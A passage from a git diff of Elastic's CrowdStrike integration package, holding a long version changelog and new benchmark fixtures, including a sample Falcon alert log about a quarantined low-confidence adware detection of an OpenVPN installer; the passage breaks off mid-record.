description: Updated integration logo. + type: enhancement + link: https://github.com/elastic/integrations/pull/12345 +- version: "1.61.1" + changes: + - description: Fix condition in date processors for the FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/13394 +- version: "1.61.0" + changes: + - description: Improve performance of script processors in fdr data stream ingest pipeline. + type: enhancement + link: https://github.com/elastic/integrations/pull/13325 +- version: "1.60.0" + changes: + - description: Add option to delete long fields thus avoiding _ignored fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13157 +- version: "1.59.0" + changes: + - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon. + type: enhancement + link: https://github.com/elastic/integrations/pull/13334 +- version: "1.58.0" + changes: + - description: Add support for `EppDetectionSummaryEvent` events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12869 +- version: "1.57.0" + changes: + - description: Reduce storage load for less useful or constant fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13260 +- version: "1.56.1" + changes: + - description: Expose missing "Number of Workers" settings to the user. + type: bugfix + link: https://github.com/elastic/integrations/pull/13196 +- version: "1.56.0" + changes: + - description: Optionally allow data deduplication. + type: enhancement + link: https://github.com/elastic/integrations/pull/13109 + - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates. + type: enhancement + link: https://github.com/elastic/integrations/pull/13109 +- version: "1.55.0" + changes: + - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/13056 +- version: "1.54.0" + changes: + - description: Enable request trace log removal. + type: enhancement + link: https://github.com/elastic/integrations/pull/13035 +- version: "1.53.0" + changes: + - description: Add support of vulnerability data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12973 + - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards. + type: enhancement + link: https://github.com/elastic/integrations/pull/12973 +- version: "1.52.3" + changes: + - description: Fix condition in date processors for the FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/13397 +- version: "1.52.2" + changes: + - description: Expose missing "Number of Workers" settings to the user. + type: bugfix + link: https://github.com/elastic/integrations/pull/13296 +- version: "1.52.1" + changes: + - description: Fixed parsing of RawProcessIDs in edge case scenarios. + type: bugfix + link: http://github.com/elastic/integrations/pull/12860 +- version: "1.52.0" + changes: + - description: Add handling for domain names in SMB events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12712 + - description: Fix issues/gaps in handling of domain names in DNS events. + type: bugfix + link: https://github.com/elastic/integrations/pull/12712 + - description: Fix over setting of `url.scheme`. + type: bugfix + link: https://github.com/elastic/integrations/pull/12712 +- version: "1.51.2" + changes: + - description: Avoid using dynamic template for flattened fields. + type: bugfix + link: http://github.com/elastic/integrations/pull/12624 +- version: "1.51.1" + changes: + - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. + type: bugfix + link: https://github.com/elastic/integrations/pull/12781 +- version: "1.51.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12593 +- version: "1.50.0" + changes: + - description: Allow the usage of deprecated log input and support for stack 9.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/12503 +- version: "1.49.1" + changes: + - description: Fix network direction handling for FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/12508 + - description: Handle invalid IP addresses robustly. + type: bugfix + link: https://github.com/elastic/integrations/pull/12508 +- version: "1.49.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12109 +- version: "1.48.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12046 +- version: "1.47.0" + changes: + - description: Add Support of CrowdStrike Event Stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/11773 +- version: "1.46.0" + changes: + - description: Extract user and host names from the name field. + type: enhancement + link: https://github.com/elastic/integrations/pull/11804 + - description: Correct use of `related.hash` to `related.hosts`. + type: bugfix + link: https://github.com/elastic/integrations/pull/11804 +- version: "1.45.1" + changes: + - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Use host.name field for `Hostname` control in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Remove unused field control `observer.address` from Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 + - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard. + type: bugfix + link: https://github.com/elastic/integrations/pull/11739 +- version: "1.45.0" + changes: + - description: Add support for FQL queries in `alert` and `host` data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/11734 +- version: "1.44.0" + changes: + - description: Map additional fields observed in alert data. + type: enhancement + link: https://github.com/elastic/integrations/pull/11724 +- version: "1.43.0" + changes: + - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`. + type: enhancement + link: https://github.com/elastic/integrations/pull/11282 +- version: "1.42.2" + changes: + - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. + type: bugfix + link: https://github.com/elastic/integrations/pull/11314 +- version: "1.42.1" + changes: + - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. + type: bugfix + link: https://github.com/elastic/integrations/pull/11284 +- version: "1.42.0" + changes: + - description: Add support of IDP and EPP alert fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/11135 +- version: "1.41.1" + changes: + - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14. + type: bugfix + link: https://github.com/elastic/integrations/pull/11147 +- version: "1.41.0" + changes: + - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`. + type: enhancement + link: https://github.com/elastic/integrations/pull/11012 +- version: "1.40.1" + changes: + - description: Fix mapping for assessment events. + type: bugfix + link: https://github.com/elastic/integrations/pull/11023 + - description: Fix handling of cases where AIP is present but empty. + type: bugfix + link: https://github.com/elastic/integrations/pull/11023 +- version: "1.40.0" + changes: + - description: "Allow @custom pipeline access to event.original without setting preserve_original_event." + type: enhancement + link: https://github.com/elastic/integrations/pull/10897 +- version: "1.39.3" + changes: + - description: Fix handling of event.created and timestamp fields for FDR events. + type: bugfix + link: https://github.com/elastic/integrations/pull/10862 +- version: "1.39.2" + changes: + - description: Fix cursor timestamp handling. + type: bugfix + link: https://github.com/elastic/integrations/pull/10694 +- version: "1.39.1" + changes: + - description: Return empty `events` array when no resources in alert, host. + type: bugfix + link: https://github.com/elastic/integrations/pull/10831 +- version: "1.39.0" + changes: + - description: Improve document deduplication behavior. + type: enhancement + link: https://github.com/elastic/integrations/pull/10567 +- version: "1.38.0" + changes: + - description: Improve error reporting for API request failures. + type: enhancement + link: https://github.com/elastic/integrations/pull/10346 +- version: "1.37.1" + changes: + - description: Fix threat.framework when prefix is `CS`. + type: bugfix + link: https://github.com/elastic/integrations/pull/10256 +- version: "1.37.0" + changes: + - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. + type: enhancement + link: https://github.com/elastic/integrations/pull/10135 +- version: "1.36.0" + changes: + - description: Add `device.id` field. + type: enhancement + link: https://github.com/elastic/integrations/pull/10124 +- version: "1.35.0" + changes: + - description: Make `host.ip` field conform to ECS field definition. + type: enhancement + link: https://github.com/elastic/integrations/pull/10120 +- version: "1.34.3" + changes: + - description: Fix handling of empty responses in CEL. + type: bugfix + link: https://github.com/elastic/integrations/pull/9972 +- version: "1.34.2" + changes: + - description: Resolved ignore_malformed issues with fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/9832 +- version: "1.34.1" + changes: + - description: Improve error handling for renaming processors. + type: bugfix + link: https://github.com/elastic/integrations/pull/9816 +- version: "1.34.0" + changes: + - description: Update manifest format version to v3.0.3. + type: enhancement + link: https://github.com/elastic/integrations/pull/9536 +- version: "1.33.0" + changes: + - description: Refactor alert and host collectors and improve error handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/9716 +- version: "1.32.2" + changes: + - description: Fix geoip mapping to destination. + type: bugfix + link: https://github.com/elastic/integrations/pull/9738 +- version: "1.32.1" + changes: + - description: Fix cache option name in FDR data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/9436 +- version: "1.32.0" + changes: + - description: Set sensitive value as secret in cel input. + type: enhancement + link: https://github.com/elastic/integrations/pull/9238 +- version: "1.31.0" + changes: + - description: Add support for Alert and Host API endpoints. + type: enhancement + link: https://github.com/elastic/integrations/pull/8790 +- version: "1.30.0" + changes: + - description: Set sensitive values as secret. + type: enhancement + link: https://github.com/elastic/integrations/pull/8725 +- version: "1.29.0" + changes: + - description: Expose FDR cache options for more flexibility + type: enhancement + link: https://github.com/elastic/integrations/pull/9063 +- version: "1.28.3" + changes: + - description: Fix drive letter parsing. + type: bugfix + link: https://github.com/elastic/integrations/pull/9119 +- version: "1.28.2" + changes: + - description: Add missing type mapping for host fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/9030 +- version: "1.28.1" + changes: + - description: Changed owners + type: enhancement + link: https://github.com/elastic/integrations/pull/8943 +- version: "1.28.0" + changes: + - description: Enrich events with userinfo user details fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8742 + - description: Map host and user metatdata to ECS fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8742 +- version: "1.27.0" + changes: + - description: Allow aidmaster metadata to be retained after host enrichment. + type: enhancement + link: https://github.com/elastic/integrations/pull/8715 +- version: "1.26.2" + changes: + - description: Do not populate `related.hosts` with IP values. + type: bugfix + link: https://github.com/elastic/integrations/pull/8684 +- version: "1.26.1" + changes: + - description: Fix exclude_files pattern. + type: bugfix + link: https://github.com/elastic/integrations/pull/8635 +- version: "1.26.0" + changes: + - description: Enrich events with aidmaster host details fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8474 +- version: 1.25.1 + changes: + - description: Add new events. + type: enhancement + link: https://github.com/elastic/integrations/pull/8498 +- version: 1.25.0 + changes: + - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon + type: enhancement + link: https://github.com/elastic/integrations/pull/8478 +- version: 1.24.0 + changes: + - description: ECS version updated to 8.11.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/8433 +- version: "1.23.1" + changes: + - description: Prefer ImageFileName for the value of process.executable. + type: bugfix + link: https://github.com/elastic/integrations/pull/8322 +- version: "1.23.0" + changes: + - description: Improve 'event.original' check to avoid errors if set. + type: enhancement + link: https://github.com/elastic/integrations/pull/8269 +- version: "1.22.1" + changes: + - description: Fix field mapping for LMHostIDs + type: bugfix + link: https://github.com/elastic/integrations/pull/8115 +- version: 1.22.0 + changes: + - description: Update the package format_version to 3.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/8025 +- version: 1.21.0 + changes: + - description: Correct invalid ECS field usages at root-level. + type: bugfix + link: https://github.com/elastic/integrations/pull/7968 +- version: 1.20.0 + changes: + - description: ECS version updated to 8.10.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7905 +- version: "1.19.0" + changes: + - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI. + type: enhancement + link: https://github.com/elastic/integrations/pull/7789 +- version: "1.18.3" + changes: + - description: Convert Win32 timestamps to unix millisecond timestamps. + type: bugfix + link: https://github.com/elastic/integrations/pull/7734 +- version: "1.18.2" + changes: + - description: Fixed event tag handling for the falcon data-stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/7625 +- version: "1.18.1" + changes: + - description: Fixed Windows NT timestamp handling. + type: bugfix + link: https://github.com/elastic/integrations/pull/7548 +- version: "1.18.0" + changes: + - description: Update package to ECS 8.9.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7107 +- version: "1.17.0" + changes: + - description: Document duration units. + type: enhancement + link: https://github.com/elastic/integrations/pull/6992 +- version: "1.16.1" + changes: + - description: Remove confusing error message tag prefix. + type: bugfix + link: https://github.com/elastic/integrations/pull/7105 +- version: "1.16.0" + changes: + - description: Adding new Event types to the Falcon Datastream. + type: enhancement + link: https://github.com/elastic/integrations/pull/6844 +- version: "1.15.0" + changes: + - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/6668 +- version: "1.14.0" + changes: + - description: Ensure event.kind is correctly set for pipeline errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/6613 +- version: "1.13.0" + changes: + - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/6372 +- version: "1.12.1" + changes: + - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime. + type: bugfix + link: https://github.com/elastic/integrations/pull/5957 +- version: "1.12.0" + changes: + - description: Update package to ECS 8.7.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/5765 +- version: "1.11.2" + changes: + - description: Reduce duplicate document ingestion. + type: bugfix + link: https://github.com/elastic/integrations/pull/5669 +- version: "1.11.1" + changes: + - description: Multiple IPs in `aip` field and add new fields + type: bugfix + link: https://github.com/elastic/integrations/pull/5655 +- version: "1.11.0" + changes: + - description: Support `max_number_of_messages` in SQS mode + type: enhancement + link: https://github.com/elastic/integrations/pull/5595 +- version: "1.10.2" + changes: + - description: Remove redundant GeoIP look-ups. + type: bugfix + link: https://github.com/elastic/integrations/pull/5456 +- version: "1.10.1" + changes: + - description: Added categories and/or subcategories. + type: enhancement + link: https://github.com/elastic/integrations/pull/5123 +- version: "1.10.0" + changes: + - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/5168 +- version: "1.9.0" + changes: + - description: Update package to ECS 8.6.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4576 +- version: "1.8.2" + changes: + - description: Fix parse of CommandLine in Falcon pipeline + type: bugfix + link: https://github.com/elastic/integrations/pull/4758 +- version: "1.8.1" + changes: + - description: Fix parse of flattened `process` fields in Falcon data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/4709 +- version: "1.8.0" + changes: + - description: Update package to ECS 8.5.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4285 +- version: "1.7.0" + changes: + - description: Expose Default Region setting to UI + type: enhancement + link: https://github.com/elastic/integrations/pull/4158 +- version: "1.6.1" + changes: + - description: Use ECS geo.location definition. + type: enhancement + link: https://github.com/elastic/integrations/issues/4227 +- version: "1.6.0" + changes: + - description: Parse executable for `process.name` in FDR data stream + type: enhancement + link: https://github.com/elastic/integrations/pull/4133 +- version: "1.5.1" + changes: + - description: Set default endpoint to empty string + type: bugfix + link: https://github.com/elastic/integrations/pull/4103 +- version: "1.5.0" + changes: + - description: Update package to ECS 8.4.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/3843 +- version: "1.4.2" + changes: + - description: Fix proxy URL documentation rendering. + type: bugfix + link: https://github.com/elastic/integrations/pull/3881 +- version: "1.4.1" + changes: + - description: Update package name and description to align with standard wording + type: enhancement + link: https://github.com/elastic/integrations/pull/3478 +- version: "1.4.0" + changes: + - description: Update package to ECS 8.3.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/3353 +- version: "1.3.4" + changes: + - description: Prevent missing `@timestamp` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/3484 +- version: "1.3.3" + changes: + - description: Optimize FDR pipeline script processor. + type: bugfix + link: https://github.com/elastic/integrations/pull/3302 +- version: "1.3.2" + changes: + - description: Format source.mac as per ECS. + type: bugfix + link: https://github.com/elastic/integrations/pull/3302 +- version: "1.3.1" + changes: + - description: Update readme file. Added link to CrowdStrike docs + type: enhancement + link: https://github.com/elastic/integrations/pull/3057 +- version: "1.3.0" + changes: + - description: Update to ECS 8.2 + type: enhancement + link: https://github.com/elastic/integrations/pull/2779 +- version: "1.2.7" + changes: + - description: Move invalid field value + type: enhancement + link: https://github.com/elastic/integrations/pull/3098 +- version: "1.2.6" + changes: + - description: Add documentation for multi-fields + type: enhancement + link: https://github.com/elastic/integrations/pull/2916 +- version: "1.2.5" + changes: + - description: Add date parsing for BiosReleaseDate field. + type: bugfix + link: https://github.com/elastic/integrations/pull/2867 +- version: "1.2.4" + changes: + - description: Add missing field mapping for several event and host fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/2869 +- version: "1.2.3" + changes: + - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document. + type: bugfix + link: https://github.com/elastic/integrations/pull/2701 +- version: "1.2.2" + changes: + - description: Add Ingest Pipeline script to map IANA Protocol Numbers + type: bugfix + link: https://github.com/elastic/integrations/pull/2470 +- version: "1.2.1" + changes: + - description: Fix issue with "Is FDR Queue" selector having no effect. + type: bugfix + link: https://github.com/elastic/integrations/pull/2653 +- version: "1.2.0" + changes: + - description: Update to ECS 8.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/2398 +- version: "1.1.2" + changes: + - description: Regenerate test files using the new GeoIP database + type: bugfix + link: https://github.com/elastic/integrations/pull/2339 +- version: "1.1.1" + changes: + - description: Change test public IPs to the supported subset + type: bugfix + link: https://github.com/elastic/integrations/pull/2327 +- version: "1.1.0" + changes: + - description: Add 8.0.0 version constraint + type: enhancement + link: https://github.com/elastic/integrations/pull/2229 +- version: "1.0.4" + changes: + - description: Add ability to read from both FDR provided and user owned SQS queues for FDR. + type: bugfix + link: https://github.com/elastic/integrations/pull/2198 + - description: Pipeline fixes for FDR + type: bugfix + link: https://github.com/elastic/integrations/pull/2198 +- version: "1.0.3" + changes: + - description: Uniform with guidelines + type: enhancement + link: https://github.com/elastic/integrations/pull/2022 +- version: "1.0.2" + changes: + - description: Update Title and Description. + type: enhancement + link: https://github.com/elastic/integrations/pull/1961 +- version: "1.0.1" + changes: + - description: Fix logic that checks for the 'forwarded' tag + type: bugfix + link: https://github.com/elastic/integrations/pull/1812 +- version: '1.0.0' + changes: + - description: make GA + type: enhancement + link: https://github.com/elastic/integrations/pull/1630 +- version: "0.9.0" + changes: + - description: Update to ECS 1.12.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/1655 +- version: "0.8.1" + changes: + - description: Add proxy config + type: enhancement + link: https://github.com/elastic/integrations/pull/1648 +- version: "0.8.0" + changes: + - description: Add FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 + - description: Change Falcon ECS fields definition to use references + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 + - description: Add cleanup processor to Falcon + type: enhancement + link: https://github.com/elastic/integrations/pull/1522 +- version: '0.7.1' + changes: + - description: update to ECS 1.11.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/1378 +- version: "0.7.0" + changes: + - description: Update integration description + type: enhancement + link: https://github.com/elastic/integrations/pull/1364 +- version: "0.6.0" + changes: + - description: Set "event.module" and "event.dataset" + type: enhancement + link: https://github.com/elastic/integrations/pull/1258 +- version: "0.5.0" + changes: + - description: update to ECS 1.10.0 and add event.original options + type: enhancement + link: https://github.com/elastic/integrations/pull/1036 +- version: "0.4.1" + changes: + - description: update to ECS 1.9.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/841 +- version: "0.4.0" + changes: + - description: Moves edge processing to ingest pipeline + type: enhancement + link: https://github.com/elastic/integrations/pull/774 +- version: "0.3.1" + changes: + - description: Change kibana.version constraint to be more conservative. + type: bugfix + link: https://github.com/elastic/integrations/pull/749 +- version: "0.1.0" + changes: + - description: initial release + type: enhancement # can be one of: enhancement, bugfix, breaking-change + link: https://github.com/elastic/integrations/pull/182 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml new file mode 100644 index 0000000000..30a2b50cf6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml @@ -0,0 +1 @@ +num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log new file mode 100644 index 0000000000..c0e095d6dd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log @@ -0,0 +1,10 @@ +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-